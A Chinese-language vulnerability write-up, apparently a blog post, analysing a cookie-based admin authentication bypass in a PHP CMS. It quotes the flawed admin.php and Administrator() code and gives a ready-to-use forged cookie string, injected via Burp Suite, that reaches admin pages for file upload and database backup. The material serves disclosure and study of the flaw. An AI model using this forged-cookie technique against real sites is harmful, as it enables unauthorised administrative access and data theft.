漏洞版本20160723,官方于今天修复了该漏洞。
0x01:漏洞分析
在文件 admin.php 第四行:
$frames = array('login', 'index', 'body', 'config'....); $iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login'; include_once 'source/admincp/module/'.$iframe.'.php';
变量 $iframe 通过 GET 方式获取值,如果 iframe 的值不在数组 frames 里就定向到 "login.php"。我们以 "config.php" 为例,当传入参数 "?iframe=config" 时将包含文件 "source/admincp/module/config.php",跟进该文件从第二行可以看到如下代码:
if(!defined('IN_ROOT')){exit('Access denied');} Administrator(2); $action=SafeRequest("action","get");
跟进函数 "Administrator",在 "source/admincp/include/function.php" 第三十九行定义了 "Administrator":
function Administrator($value){ if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){ ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0); } setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800); if(!empty($_COOKIE['in_permission'])){ $array=explode(",",$_COOKIE['in_permission']); $adminlogined=false; for($i=0;$i<count($array);$i++){ if($array[$i]==$value){$adminlogined=true;} } if(!$adminlogined){ ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0); } }else{ ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0); } }
这段代码通过 cookie 验证登录用户信息,将 "in_adminid","in_adminname","in_adminpassword","in_permission" 拼接在一起 MD5 后与 "in_adminexpire" 的值比较,左右两值相等就通过验证,再通过 "in_permision" 验证该用户是否有本页面权限。在数组 "frames" 中的页面都没有通过数据库验证用户信息,因为 cookie 我们是可控的所以我们很容易绕过它的验证方式。以 "config.php" 为例,先进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php" (这步我也不知道为什么要这样,直接进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config"不能成功 QAQ,改了 Refer 也不行):这时候我们没有保存cookie,页面将会跳转到 "login.php":
再次登录 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config" 用 burpsuit 截取数据包修改 cookie 为:
in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08
截图结果显示我们成功绕过验证并登录到 "config.php",利用此方法可以登录到 "config.php","backup.php","index.php"等页面进行文件上传,数据库备份以及其他危险操作:
Author:LionEiJonson
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论